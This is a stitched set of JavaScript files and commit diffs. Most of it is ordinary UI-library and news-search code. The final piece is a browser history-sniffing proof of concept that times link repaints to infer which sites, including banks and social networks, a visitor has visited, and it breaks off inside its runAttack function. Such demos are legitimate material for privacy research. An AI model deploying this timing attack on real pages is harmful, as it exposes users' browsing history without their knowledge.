                        /**
                         * Event emitted when the menu hides a fold.
                         * @event ch.Menu#hide
                         * @example
                         * // Subscribe to "hide" event.
                         * menu.on('hide', function () {
                         *     // Some code here!
                         * });
                         */
                        that.emit('hide');
                    });

                menu = child.nextElementSibling;
                menu.setAttribute('role', 'menu');

                Array.prototype.forEach.call(menu.children, function (item){
                    item.setAttribute('role', 'presentation');
                    item.children[0] ? item.children[0].setAttribute('role', 'menuitem') : null;
                });

                // Add expandable to that.fold
                that.folds.push(expandable);
            }
        }

        Array.prototype.forEach.call(this.container.children, createExpandable);

        return this;
    };

    /**
     * Shows a specific fold.
     * @memberof! ch.Menu.prototype
     * @function
     * @param {Number} child - A given number of fold.
     * @returns {menu}
     * @example
     * // Shows the second fold.
     * menu.show(2);
     */
    Menu.prototype.show = function (child) {

        this.folds[child - 1].show();

        return this;
    };

    /**
     * Hides a specific fold.
     * @memberof! ch.Menu.prototype
     * @function
     * @param {Number} child - A given number of fold.
     * @returns {menu}
     * @example
     * // Hides the second fold.
     * menu.hide(2);
     */
    Menu.prototype.hide = function (child) {

        this.folds[child - 1].hide();

        return this;
    };

    /**
     * Allows to manage the menu content.
     * @param {Number} fold A given fold to change its content.
     * @param {(String | jQuerySelector | ZeptoSelector)} content The content that will be used by a fold.
     * @param {Object} [options] A custom options to be used with content loaded by ajax.
     * @param {String} [options.method] The type of request ("POST" or "GET") to load content by ajax. Default: "GET".
     * @param {String} [options.params] Params like query string to be sent to the server.
     * @param {Boolean} [options.cache] Force to cache the request by the browser. Default: true.
     * @param {Boolean} [options.async] Force to sent request asynchronously. Default: true.
     * @param {(String | jQuerySelector | ZeptoSelector)} [options.waiting] Temporary content to use while the ajax request is loading.
     * @example
     * // Updates the content of the second fold with some string.
     * menu.content(2, 'http://ajax.com', {'cache': false});
     */
    Menu.prototype.content = function (fold, content, options) {
        if (fold === undefined || typeof fold !== 'number') {
            throw new window.Error('Menu.content(fold, content, options): Expected number of fold.');
        }

        if (content === undefined) {
            return this.folds[fold - 1].content();
        }

        this.folds[fold - 1].content(content, options);

        return this;
    };

    while (len) {
        createMethods(methods[len -= 1]);
    }

    /**
     * Destroys a Menu instance.
     * @memberof! ch.Menu.prototype
     * @function
     * @example
     * // Destroy a menu
     * menu.destroy();
     * // Empty the menu reference
     * menu = undefined;
     */
    Menu.prototype.destroy = function () {

        this.folds.forEach(function (e, i) {
            if (e.destroy !== undefined) {
                e.destroy();
            }
        });

        this._el.parentNode.replaceChild(this._snippet, this._el);

        ch.util.Event.dispatchEvent(window.document, ch.onlayoutchange);

        parent.destroy.call(this);

        return;
    };

    ch.factory(Menu);

}(this, this.ch));
<|endoftext|>


<commit_before>/**
 * Created by JM Organization on 10.08.2017.
 */

$(document).ready(function () {
    var articles_list = $("#articles").data("articles").substring(0, str.length - 1).split(',');

    $(document).on('input', '#search', function () {
        var $item = $(this),
            value = $item.val(),
            pattern = new RegExp(value, "i");

        articles_list.each(function () {
            var article_title = this.title,
                article_id = this.id;

            if (pattern.test(article_title)) {
                $("#article-"+article_id).show();
            } else if (news != '' && news != ' ') {
                $('.short-article').hide();
            }
        });
    });
});

function search_news(news, filter) {
    var pattern = new RegExp(news, "i");

    if (news != '' && news != ' ') {
        $('.short-article').each(function () {
            var title = $(this).data('article');

            if (pattern.test(title)) {
                $(this).show();
            } else if (news != '' && news != ' ') {
                $('.short-article').hide();
            }

            console.log(pattern.test(title) + " / title: "+ title + " / pattern: "+ pattern)
        });
    }
}

<commit_msg>fixes<commit_after>/**
 * Created by JM Organization on 10.08.2017.
 */

$(document).ready(function () {
    var articles_list = $("#articles").data("articles"),
        articles_list_array = articles_list.substring(0, articles_list.length - 1).split(',');

    $(document).on('input', '#search', function () {
        var $item = $(this),
            value = $item.val(),
            pattern = new RegExp(value, "i");

        articles_list_array.each(function () {
            var article_title = this.title,
                article_id = this.id;

            if (pattern.test(article_title)) {
                $("#article-"+article_id).show();
            } else if (news != '' && news != ' ') {
                $('.short-article').hide();
            }
        });
    });
});

function search_news(news, filter) {
    var pattern = new RegExp(news, "i");

    if (news != '' && news != ' ') {
        $('.short-article').each(function () {
            var title = $(this).data('article');

            if (pattern.test(title)) {
                $(this).show();
            } else if (news != '' && news != ' ') {
                $('.short-article').hide();
            }

            console.log(pattern.test(title) + " / title: "+ title + " / pattern: "+ pattern)
        });
    }
}

<|endoftext|>


<commit_before>    /**
     * Provides varies utilities and commons functions that are used across all components.
     * @namespace
     */
    ch.util = {

        /**
         * Returns true if an object is an array, false if it is not.
         * @param {Object} obj The object to be checked.
         * @returns {Boolean}
         * @example
         * ch.util.isArray([1, 2, 3]); // true
         */
        'isArray': (function () {
            if (typeof Array.isArray === 'function') {
                return Array.isArray;
            }

            return function (obj) {
                if (obj === undefined) {
                    throw new Error('"ch.util.isArray(obj)": It must receive a parameter.');
                }

                return (Object.prototype.toString.call(obj) === '[object Array]');
            };
        }()),

        /**
         * Checks if the url given is right to load content.
         * @param {String} url The url to be checked.
         * @returns {Boolean}
         * @example
         * ch.util.isUrl('www.chico-ui.com.ar'); // true
         */
        'isUrl': function (url) {
            if (url === undefined || typeof url !== 'string') {
                return false;
            }

            /*
            # RegExp

            https://github.com/mercadolibre/chico/issues/579#issuecomment-5206670

            ```javascript
            1   1.1                        1.2   1.3  1.4       1.5       1.6                   2                      3               4                    5
            /^(((https|http|ftp|file):\/\/)|www\.|\.\/|(\.\.\/)+|(\/{1,2})|(\d{1,3}\.){3}\d{1,3})(((\w+|-)(\.?)(\/?))+)(\:\d{1,5}){0,1}(((\w+|-)(\.?)(\/?))+)((\?)(\w+=(\w?)+(&?))+)?$/
            ```

            ## Description
            1. Checks for the start of the URL
                1. if starts with a protocols followed by :// Example: file://chico
                2. if start with www followed by . (dot) Example: www.chico
                3. if starts with ./
                4. if starts with ../ and can repeat one or more times
                5. if start with double slash // Example: //chico.server
                6. if start with an ip address
            2. Checks the domain
              letters, dash followed by a dot or by a slash. All this group can repeat one or more times
            3. Ports
             Zero or one time
            4. Idem to point two
            5. QueryString pairs

            ## Allowed URLs
            1. http://www.mercadolibre.com
            2. http://mercadolibre.com/
            3. http://mercadolibre.com:8080?hola=
            4. http://mercadolibre.com/pepe
            5. http://localhost:2020
            6. http://192.168.1.1
            7. http://192.168.1.1:9090
            8. www.mercadolibre.com
            9. /mercadolibre
            10. /mercadolibre/mercado
            11. /tooltip?siteId=MLA&categId=1744&buyingMode=buy_it_now&listingTypeId=bronze
            12. ./pepe
            13. ../../mercado/
            14. www.mercadolibre.com?siteId=MLA&categId=1744&buyingMode=buy_it_now&listingTypeId=bronze
            15. www.mercado-libre.com
            16. http://ui.ml.com:8080/ajax.html

            ## Forbiden URLs
            1. http://
            2. http://www&
            3. http://hola=
            4. /../../mercado/
            5. /mercado/../pepe
            6. mercadolibre.com
            7. mercado/mercado
            8. localhost:8080/mercadolibre
            9. pepe/../pepe.html
            10. /pepe/../pepe.html
            11. 192.168.1.1
            12. localhost:8080/pepe
            13. localhost:80-80
            14. www.mercadolibre.com?siteId=MLA&categId=1744&buyi ngMode=buy_it_now&listingTypeId=bronze
            15. `<asd src="www.mercadolibre.com">`
            16. Mercadolibre.................
            17. /laksjdlkasjd../
            18. /..pepe..
            19. /pepe..
            20. pepe:/
            21. /:pepe
            22. dadadas.pepe
            23. qdasdasda
            24. http://ui.ml.com:8080:8080/ajax.html
            */
            return ((/^(((https|http|ftp|file):\/\/)|www\.|\.\/|(\.\.\/)+|(\/{1,2})|(\d{1,3}\.){3}\d{1,3})(((\w+|-)(\.?)(\/?))+)(\:\d{1,5}){0,1}(((\w+|-)(\.?)(\/?)(#?))+)((\?)(\w+=(\w?)+(&?))+)?(\w+#\w+)?$/).test(url));
        },

        /**
         * Determines if a specified element is an instance of $.
         * @param {Object} $el The element to be checked as instance of $.
         * @returns {Boolean}
         * @example
         * ch.util.is$($('element')); // true
         */
        'is$': (function () {
            if ($.zepto === undefined) {
                return function ($el) {
                    return $el instanceof $;
                };
            } else {
                return function ($el) {
                    return $.zepto.isZ($el);
                };
            }
        }()),

        /**
         * Adds CSS rules to disable text selection highlighting.
         * @param {...jQuerySelector} jQuery or Zepto Selector to disable text selection highlighting.
         * @example
         * ch.util.avoidTextSelection($(selector));
         */
        'avoidTextSelection': function () {
            var args = arguments,
                len = arguments.length,
                i = 0;

            if (arguments.length < 1) {
                throw new Error('"ch.util.avoidTextSelection(selector);": The selector parameter is required.');
            }

            for (i; i < len; i += 1) {

                if (!(args[i] instanceof $ || $.zepto.isZ(args[i]))) {
                    throw new Error('"ch.util.avoidTextSelection(selector);": The parameter must be a jQuery or Zepto selector.');
                }

                if ($html.hasClass('lt-ie10')) {
                    args[i].attr('unselectable', 'on');

                } else {
                    args[i].addClass('ch-user-no-select');
                }

            }
        },

        /**
         * Gives the final used values of all the CSS properties of an element.
         * @param {HTMLElement} el The HTMLElement for which to get the computed style.
         * @param {string} prop The name of the CSS property to test.
         * @returns {CSSStyleDeclaration}
         * @link http://www.quirksmode.org/dom/getstyles.html
         * @example
         * ch.util.getStyles(HTMLElement, 'color'); // true
         */
        'getStyles': function (el, prop) {

            if (el === undefined || !(el.nodeType === 1)) {
                throw new Error('"ch.util.getStyles(el, prop)": The "el" parameter is required and must be a HTMLElement.');
            }

            if (prop === undefined || typeof prop !== 'string') {
                throw new Error('"ch.util.getStyles(el, prop)": The "prop" parameter is required and must be a string.');
            }

            if (window.getComputedStyle) {
                return window.getComputedStyle(el, "").getPropertyValue(prop);
            // IE
            } else {
                // Turn style name into camel notation
                prop = prop.replace(/\-(\w)/g, function (str, $1) { return $1.toUpperCase(); });
                return el.currentStyle[prop];
            }
        },

        /**
         * Returns a shallow-copied clone of the object.
         * @param {Object} obj The object to copy.
         * @returns {Object}
         * @example
         * ch.util.clone(object);
         */
        'clone': function (obj) {
            if (obj === undefined || typeof obj !== 'object') {
                throw new Error('"ch.util.clone(obj)": The "obj" parameter is required and must be a object.');
            }

            var copy = {},
                prop;

            for (prop in obj) {
                if (obj[prop] !== undefined) {
                    copy[prop] = obj[prop];
                }
            }

            return copy;
        },

        /**
         * Inherits the prototype methods from one constructor into another. The parent will be accessible through the obj.super property.
         * @param {Function} obj The object that have new members.
         * @param {Function} superConstructor The construsctor Class.
         * @returns {Object}
         * @exampleDescription
         * @example
         * ch.util.inherit(obj, parent);
         */
        'inherits': function (obj, superConstructor) {

            if (obj === undefined || typeof obj !== 'function') {
                throw new Error('"ch.util.inherits(obj, superConstructor)": The "obj" parameter is required and must be a constructor function.');
            }

            if (superConstructor === undefined || typeof superConstructor !== 'function') {
                throw new Error('"ch.util.inherits(obj, superConstructor)": The "superConstructor" parameter is required and must be a constructor function.');
            }

            var child = obj.prototype || {};
            obj.prototype = $.extend(child, superConstructor.prototype);

            return superConstructor.prototype;
        },

        /**
         * Prevent default actions of a given event.
         * @param {Event} event The event ot be prevented.
         * @returns {Object}
         * @example
         * ch.util.prevent(event);
         */
        prevent: function (event) {
            if (typeof event === 'object') {
                event.preventDefault();
            }
        },

        /**
         * Get the current vertical and horizontal positions of the scroll bar.
         * @returns {Object}
         * @example
         * ch.util.getScroll();
         */
        'getScroll': function () {
            return {
                'left': window.pageXOffset || document.documentElement.scrollLeft || 0,
                'top': window.pageYOffset || document.documentElement.scrollTop || 0
            };
        },

        /**
         * Get the current outer dimensions of an element.
         * @param {HTMLElement} el A given HTMLElement.
         * @returns {Object}
         * @example
         * ch.util.getOuterDimensions(el);
         */
        'getOuterDimensions': function (el) {
            var obj = el.getBoundingClientRect();

            return {
                'width': (obj.right - obj.left),
                'height': (obj.bottom - obj.top)
            };
        },

        /**
         * Get the current offset of an element.
         * @param {HTMLElement} el A given HTMLElement.
         * @returns {Object}
         * @example
         * ch.util.getOffset(el);
         */
        'getOffset': function (el) {

            var rect = el.getBoundingClientRect(),
                fixedParent = ch.util.getPositionedParent(el, 'fixed'),
                scroll = ch.util.getScroll(),
                offset = {
                    'left': rect.left,
                    'top': rect.top
                };

            if (ch.util.getStyles(el, 'position') !== 'fixed' && fixedParent === null) {
                offset.left += scroll.left;
                offset.top += scroll.top;
            }

            return offset;
        },

        /**
         * Get the current parentNode with the given position.
         * @param {HTMLElement} el A given HTMLElement.
         * @param {String} position A given position (static, relative, fixed or absolute).
         * @returns {HTMLElement}
         * @example
         * ch.util.getPositionedParent(el, 'fixed');
         */
        'getPositionedParent': function (el, position) {
            var currentParent = el.offsetParent,
                parent;

            while (parent === undefined) {

                if (currentParent === null) {
                    parent = null;
                    break;
                }

                if (ch.util.getStyles(currentParent, 'position') !== position) {
                    currentParent = currentParent.offsetParent;
                } else {
                    parent = currentParent;
                }

            };

            return parent;
        },

        /**
         * Reference to the vendor prefix of the current browser.
         * @constant
         * @memberof ch.util
         * @type {String}
         * @link http://lea.verou.me/2009/02/find-the-vendor-prefix-of-the-current-browser
         * @example
         * ch.util.VENDOR_PREFIX === 'webkit';
         */
        'VENDOR_PREFIX': (function () {

            var regex = /^(Webkit|Khtml|Moz|ms|O)(?=[A-Z])/,
                styleDeclaration = document.getElementsByTagName('script')[0].style,
                prop;

            for (prop in styleDeclaration) {
                if (regex.test(prop)) {
                    return prop.match(regex)[0].toLowerCase();
                }
            }

            // Nothing found so far? Webkit does not enumerate over the CSS properties of the style object.
            // However (prop in style) returns the correct value, so we'll have to test for
            // the precence of a specific property
            if ('WebkitOpacity' in styleDeclaration) { return 'webkit'; }
            if ('KhtmlOpacity' in styleDeclaration) { return 'khtml'; }

            return '';
        }()),

        /**
         * zIndex values.
         * @type {Number}
         * @example
         * ch.util.zIndex += 1;
         */
        'zIndex': 1000,

        /**
         * Add or remove class
         * @name classList
         * @param {HTMLElement} el A given HTMLElement.
         * @see Based on: http://youmightnotneedjquery.com/
         */
        'classList': function (el) {
            var isClassList = el.classList;

            return {
                'add': function add(className) {
                    if (isClassList) {
                        el.classList.add(className);
                    } else {
                        el.className += ' ' + className;
                    }
                },
                'remove': function remove(className) {
                    if (isClassList) {
                        el.classList.remove(className)
                    } else {
                        el.className = el.className.replace(new RegExp('(^|\\b)' + className.split(' ').join('|') + '(\\b|$)', 'gi'), ' ');
                    }
                },
                'contains': function contains(className) {
                    var exist;
                    if (isClassList) {
                        exist = el.classList.contains(className);
                    } else {
                        exist = new RegExp('(^| )' + className + '( |$)', 'gi').test(el.className);
                    }
                    return exist;
                }
            }
        }
    };<commit_msg>#1210 ch.util.classList, use contains instead hasClass<commit_after>    /**
     * Provides varies utilities and commons functions that are used across all components.
     * @namespace
     */
    ch.util = {

        /**
         * Returns true if an object is an array, false if it is not.
         * @param {Object} obj The object to be checked.
         * @returns {Boolean}
         * @example
         * ch.util.isArray([1, 2, 3]); // true
         */
        'isArray': (function () {
            if (typeof Array.isArray === 'function') {
                return Array.isArray;
            }

            return function (obj) {
                if (obj === undefined) {
                    throw new Error('"ch.util.isArray(obj)": It must receive a parameter.');
                }

                return (Object.prototype.toString.call(obj) === '[object Array]');
            };
        }()),

        /**
         * Checks if the url given is right to load content.
         * @param {String} url The url to be checked.
         * @returns {Boolean}
         * @example
         * ch.util.isUrl('www.chico-ui.com.ar'); // true
         */
        'isUrl': function (url) {
            if (url === undefined || typeof url !== 'string') {
                return false;
            }

            /*
            # RegExp

            https://github.com/mercadolibre/chico/issues/579#issuecomment-5206670

            ```javascript
            1   1.1                        1.2   1.3  1.4       1.5       1.6                   2                      3               4                    5
            /^(((https|http|ftp|file):\/\/)|www\.|\.\/|(\.\.\/)+|(\/{1,2})|(\d{1,3}\.){3}\d{1,3})(((\w+|-)(\.?)(\/?))+)(\:\d{1,5}){0,1}(((\w+|-)(\.?)(\/?))+)((\?)(\w+=(\w?)+(&?))+)?$/
            ```

            ## Description
            1. Checks for the start of the URL
                1. if starts with a protocols followed by :// Example: file://chico
                2. if start with www followed by . (dot) Example: www.chico
                3. if starts with ./
                4. if starts with ../ and can repeat one or more times
                5. if start with double slash // Example: //chico.server
                6. if start with an ip address
            2. Checks the domain
              letters, dash followed by a dot or by a slash. All this group can repeat one or more times
            3. Ports
             Zero or one time
            4. Idem to point two
            5. QueryString pairs

            ## Allowed URLs
            1. http://www.mercadolibre.com
            2. http://mercadolibre.com/
            3. http://mercadolibre.com:8080?hola=
            4. http://mercadolibre.com/pepe
            5. http://localhost:2020
            6. http://192.168.1.1
            7. http://192.168.1.1:9090
            8. www.mercadolibre.com
            9. /mercadolibre
            10. /mercadolibre/mercado
            11. /tooltip?siteId=MLA&categId=1744&buyingMode=buy_it_now&listingTypeId=bronze
            12. ./pepe
            13. ../../mercado/
            14. www.mercadolibre.com?siteId=MLA&categId=1744&buyingMode=buy_it_now&listingTypeId=bronze
            15. www.mercado-libre.com
            16. http://ui.ml.com:8080/ajax.html

            ## Forbiden URLs
            1. http://
            2. http://www&
            3. http://hola=
            4. /../../mercado/
            5. /mercado/../pepe
            6. mercadolibre.com
            7. mercado/mercado
            8. localhost:8080/mercadolibre
            9. pepe/../pepe.html
            10. /pepe/../pepe.html
            11. 192.168.1.1
            12. localhost:8080/pepe
            13. localhost:80-80
            14. www.mercadolibre.com?siteId=MLA&categId=1744&buyi ngMode=buy_it_now&listingTypeId=bronze
            15. `<asd src="www.mercadolibre.com">`
            16. Mercadolibre.................
            17. /laksjdlkasjd../
            18. /..pepe..
            19. /pepe..
            20. pepe:/
            21. /:pepe
            22. dadadas.pepe
            23. qdasdasda
            24. http://ui.ml.com:8080:8080/ajax.html
            */
            return ((/^(((https|http|ftp|file):\/\/)|www\.|\.\/|(\.\.\/)+|(\/{1,2})|(\d{1,3}\.){3}\d{1,3})(((\w+|-)(\.?)(\/?))+)(\:\d{1,5}){0,1}(((\w+|-)(\.?)(\/?)(#?))+)((\?)(\w+=(\w?)+(&?))+)?(\w+#\w+)?$/).test(url));
        },

        /**
         * Determines if a specified element is an instance of $.
         * @param {Object} $el The element to be checked as instance of $.
         * @returns {Boolean}
         * @example
         * ch.util.is$($('element')); // true
         */
        'is$': (function () {
            if ($.zepto === undefined) {
                return function ($el) {
                    return $el instanceof $;
                };
            } else {
                return function ($el) {
                    return $.zepto.isZ($el);
                };
            }
        }()),

        /**
         * Adds CSS rules to disable text selection highlighting.
         * @param {...jQuerySelector} jQuery or Zepto Selector to disable text selection highlighting.
         * @example
         * ch.util.avoidTextSelection($(selector));
         */
        'avoidTextSelection': function () {
            var args = arguments,
                len = arguments.length,
                i = 0;

            if (arguments.length < 1) {
                throw new Error('"ch.util.avoidTextSelection(selector);": The selector parameter is required.');
            }

            for (i; i < len; i += 1) {

                if (!(args[i] instanceof $ || $.zepto.isZ(args[i]))) {
                    throw new Error('"ch.util.avoidTextSelection(selector);": The parameter must be a jQuery or Zepto selector.');
                }

                if (ch.util.classList(html).contains('lt-ie10')) {
                    args[i].attr('unselectable', 'on');

                } else {
                    args[i].addClass('ch-user-no-select');
                }

            }
        },

        /**
         * Gives the final used values of all the CSS properties of an element.
         * @param {HTMLElement} el The HTMLElement for which to get the computed style.
         * @param {string} prop The name of the CSS property to test.
         * @returns {CSSStyleDeclaration}
         * @link http://www.quirksmode.org/dom/getstyles.html
         * @example
         * ch.util.getStyles(HTMLElement, 'color'); // true
         */
        'getStyles': function (el, prop) {

            if (el === undefined || !(el.nodeType === 1)) {
                throw new Error('"ch.util.getStyles(el, prop)": The "el" parameter is required and must be a HTMLElement.');
            }

            if (prop === undefined || typeof prop !== 'string') {
                throw new Error('"ch.util.getStyles(el, prop)": The "prop" parameter is required and must be a string.');
            }

            if (window.getComputedStyle) {
                return window.getComputedStyle(el, "").getPropertyValue(prop);
            // IE
            } else {
                // Turn style name into camel notation
                prop = prop.replace(/\-(\w)/g, function (str, $1) { return $1.toUpperCase(); });
                return el.currentStyle[prop];
            }
        },

        /**
         * Returns a shallow-copied clone of the object.
         * @param {Object} obj The object to copy.
         * @returns {Object}
         * @example
         * ch.util.clone(object);
         */
        'clone': function (obj) {
            if (obj === undefined || typeof obj !== 'object') {
                throw new Error('"ch.util.clone(obj)": The "obj" parameter is required and must be a object.');
            }

            var copy = {},
                prop;

            for (prop in obj) {
                if (obj[prop] !== undefined) {
                    copy[prop] = obj[prop];
                }
            }

            return copy;
        },

        /**
         * Inherits the prototype methods from one constructor into another. The parent will be accessible through the obj.super property.
         * @param {Function} obj The object that have new members.
         * @param {Function} superConstructor The construsctor Class.
         * @returns {Object}
         * @exampleDescription
         * @example
         * ch.util.inherit(obj, parent);
         */
        'inherits': function (obj, superConstructor) {

            if (obj === undefined || typeof obj !== 'function') {
                throw new Error('"ch.util.inherits(obj, superConstructor)": The "obj" parameter is required and must be a constructor function.');
            }

            if (superConstructor === undefined || typeof superConstructor !== 'function') {
                throw new Error('"ch.util.inherits(obj, superConstructor)": The "superConstructor" parameter is required and must be a constructor function.');
            }

            var child = obj.prototype || {};
            obj.prototype = $.extend(child, superConstructor.prototype);

            return superConstructor.prototype;
        },

        /**
         * Prevent default actions of a given event.
         * @param {Event} event The event ot be prevented.
         * @returns {Object}
         * @example
         * ch.util.prevent(event);
         */
        prevent: function (event) {
            if (typeof event === 'object') {
                event.preventDefault();
            }
        },

        /**
         * Get the current vertical and horizontal positions of the scroll bar.
         * @returns {Object}
         * @example
         * ch.util.getScroll();
         */
        'getScroll': function () {
            return {
                'left': window.pageXOffset || document.documentElement.scrollLeft || 0,
                'top': window.pageYOffset || document.documentElement.scrollTop || 0
            };
        },

        /**
         * Get the current outer dimensions of an element.
         * @param {HTMLElement} el A given HTMLElement.
         * @returns {Object}
         * @example
         * ch.util.getOuterDimensions(el);
         */
        'getOuterDimensions': function (el) {
            var obj = el.getBoundingClientRect();

            return {
                'width': (obj.right - obj.left),
                'height': (obj.bottom - obj.top)
            };
        },

        /**
         * Get the current offset of an element.
         * @param {HTMLElement} el A given HTMLElement.
         * @returns {Object}
         * @example
         * ch.util.getOffset(el);
         */
        'getOffset': function (el) {

            var rect = el.getBoundingClientRect(),
                fixedParent = ch.util.getPositionedParent(el, 'fixed'),
                scroll = ch.util.getScroll(),
                offset = {
                    'left': rect.left,
                    'top': rect.top
                };

            if (ch.util.getStyles(el, 'position') !== 'fixed' && fixedParent === null) {
                offset.left += scroll.left;
                offset.top += scroll.top;
            }

            return offset;
        },

        /**
         * Get the current parentNode with the given position.
         * @param {HTMLElement} el A given HTMLElement.
         * @param {String} position A given position (static, relative, fixed or absolute).
         * @returns {HTMLElement}
         * @example
         * ch.util.getPositionedParent(el, 'fixed');
         */
        'getPositionedParent': function (el, position) {
            var currentParent = el.offsetParent,
                parent;

            while (parent === undefined) {

                if (currentParent === null) {
                    parent = null;
                    break;
                }

                if (ch.util.getStyles(currentParent, 'position') !== position) {
                    currentParent = currentParent.offsetParent;
                } else {
                    parent = currentParent;
                }

            };

            return parent;
        },

        /**
         * Reference to the vendor prefix of the current browser.
         * @constant
         * @memberof ch.util
         * @type {String}
         * @link http://lea.verou.me/2009/02/find-the-vendor-prefix-of-the-current-browser
         * @example
         * ch.util.VENDOR_PREFIX === 'webkit';
         */
        'VENDOR_PREFIX': (function () {

            var regex = /^(Webkit|Khtml|Moz|ms|O)(?=[A-Z])/,
                styleDeclaration = document.getElementsByTagName('script')[0].style,
                prop;

            for (prop in styleDeclaration) {
                if (regex.test(prop)) {
                    return prop.match(regex)[0].toLowerCase();
                }
            }

            // Nothing found so far? Webkit does not enumerate over the CSS properties of the style object.
            // However (prop in style) returns the correct value, so we'll have to test for
            // the precence of a specific property
            if ('WebkitOpacity' in styleDeclaration) { return 'webkit'; }
            if ('KhtmlOpacity' in styleDeclaration) { return 'khtml'; }

            return '';
        }()),

        /**
         * zIndex values.
         * @type {Number}
         * @example
         * ch.util.zIndex += 1;
         */
        'zIndex': 1000,

        /**
         * Add or remove class
         * @name classList
         * @param {HTMLElement} el A given HTMLElement.
         * @see Based on: http://youmightnotneedjquery.com/
         */
        'classList': function (el) {
            var isClassList = el.classList;

            return {
                'add': function add(className) {
                    if (isClassList) {
                        el.classList.add(className);
                    } else {
                        el.className += ' ' + className;
                    }
                },
                'remove': function remove(className) {
                    if (isClassList) {
                        el.classList.remove(className)
                    } else {
                        el.className = el.className.replace(new RegExp('(^|\\b)' + className.split(' ').join('|') + '(\\b|$)', 'gi'), ' ');
                    }
                },
                'contains': function contains(className) {
                    var exist;
                    if (isClassList) {
                        exist = el.classList.contains(className);
                    } else {
                        exist = new RegExp('(^| )' + className + '( |$)', 'gi').test(el.className);
                    }
                    return exist;
                }
            }
        }
    };<|endoftext|>


<commit_before>"use strict";

var attackRunning = false;
var launchTest = document.getElementById("launch-test");

const NEVER_VISITED =
		"http://laddress-you-must-have-never-visited-before100000.com";
const NEVER_VISITED2 =
	"http://laddress-you-must-have-never-visited-before200000.com";
const LINKS = [
	location.href,
	"https://www.google.com",
	"https://www.facebook.com",
	"https://twitter.com",
	"https://twitter.com/upsuperx",
	"https://bugzilla.mozilla.org",
	"https://www.google.co.uk",
	"http://www.youtube.com",
	"https://www.linkedin.com",
	"http://www.craigslist.org",
	"http://stackoverflow.com",
	"http://www.bing.com",
	"http://www.bbc.co.uk",
	"http://www.microsoft.com",
	"http://www.amazon.com",
	"http://www.reddit.com",
	"http://news.ycombinator.com",
	"http://www.wordpress.com",
	"http://pinterest.com",
	"http://www.apple.com",
	"http://arstechnica.com",
	"https://www.quora.com",
	"https://www.yahoo.com",
	"https://www.instagram.com",
	"https://www.chase.com"
];

const test_area = document.getElementById('test-area');
const test_links = test_area.children;

function initTestArea(num) {
	var count = num / Math.pow(window.devicePixelRatio, 2);
	// We create count links
	for (var i = 0; i < count; i++) {
		var a = document.createElement('a');
		a.appendChild(document.createTextNode('### ### ###'));
		test_area.appendChild(a);
	}
}

function setTestAreaLink(link) {
	for (var i = 0; i < test_links.length; i++) {
		test_links[i].href = link;
		// test_links[i].style.color = "";
		// test_links[i].style.color = "red";
	}
}

function requestAnimationFrames(callbacks) {
	if (callbacks.length > 0) {
		requestAnimationFrame(function(t){
			callbacks.shift()(t);
			requestAnimationFrames(callbacks);
		});
	}
}

function EMPTY_LOOP(){}
function checkOnePass(link) {
	return new Promise(function(resolve, reject){
		var timestamps = [];
		function getCallback(link, log_time) {
			return function(t){
				if (log_time){
					timestamps.push(t);
				}
				setTestAreaLink(link);
			};
		}
		var callbacks;
		callbacks = [
		getCallback(NEVER_VISITED, false),
		getCallback(NEVER_VISITED, false),
		getCallback(link, true), EMPTY_LOOP,
		getCallback(NEVER_VISITED, true), EMPTY_LOOP,
		function(t){
				timestamps.push(t);
				resolve({
					test: [timestamps[1] - timestamps[0],
								timestamps[2] - timestamps[1]],
				});
			}
		];
		requestAnimationFrames(callbacks);
	});
}
function computeMedian(series) {
	var sorted = series.slice(0);
	sorted.sort();
	var median_index = Math.floor(sorted.length / 2);
	if (median_index * 2 != sorted.length) {
		return sorted[median_index];
	} else {
		return (sorted[median_index - 1] + sorted[median_index]) / 2;
	}
}
function examineTimeSeries(test_series, base_series) {
	var test_median = computeMedian(test_series);
	var base_median = computeMedian(base_series);
	return test_median > base_median * 1.80;
}

function checkIsLinkVisited(link, nbIter, base_series) {
	return new Promise(function(resolve, reject){
		var test_series = [];
		var promise = Promise.resolve();
		for (var i = 0; i < nbIter; i++) {
			promise = promise
				.then(function(){
					return checkOnePass(link);
				})
				.then(function(times){
					test_series.push(...times.test);
				});
		}
		promise.then(function(){
			var visited = examineTimeSeries(test_series, base_series);
			resolve({ visited, test_series, base_series });
		});
	});
}

function runNonVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
												if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
											// getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED2, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											function(t){
												timestamps.push(t);
												resolve({
														base: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]]
												});
											}
									];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.base);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function runVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
													if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
										getCallback(NEVER_VISITED, false),
										getCallback(LINKS[0], true), EMPTY_LOOP,
										getCallback(NEVER_VISITED, true), EMPTY_LOOP,
										function(t){
												timestamps.push(t);
												resolve({
													test: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]],
												});
											}
										];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.test);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function listTimes(time_series) {
	return time_series.map(t => Math.round(t)).join(', ');
}
function generateDetails(result) {
	var ul = document.createElement('ul');
	ul.className = 'details';
	var test = document.createElement('li');
	test.appendChild(document.createTextNode(`test: ${listTimes(result.test_series)}`));
	ul.appendChild(test);
	return ul;
}

function runAttack(){
	var nbFailures = 0;
	attackRunning = true;
	launchTest.innerHTML = "Attack running ...";
	test_area.style.position = "fixed";
	test_area.style.display = "block";

	const links = document.getElementById('links');
	links.innerHTML = "";
	initTestArea(500);
	var promise = Promise.resolve();
	var calibrate = true;
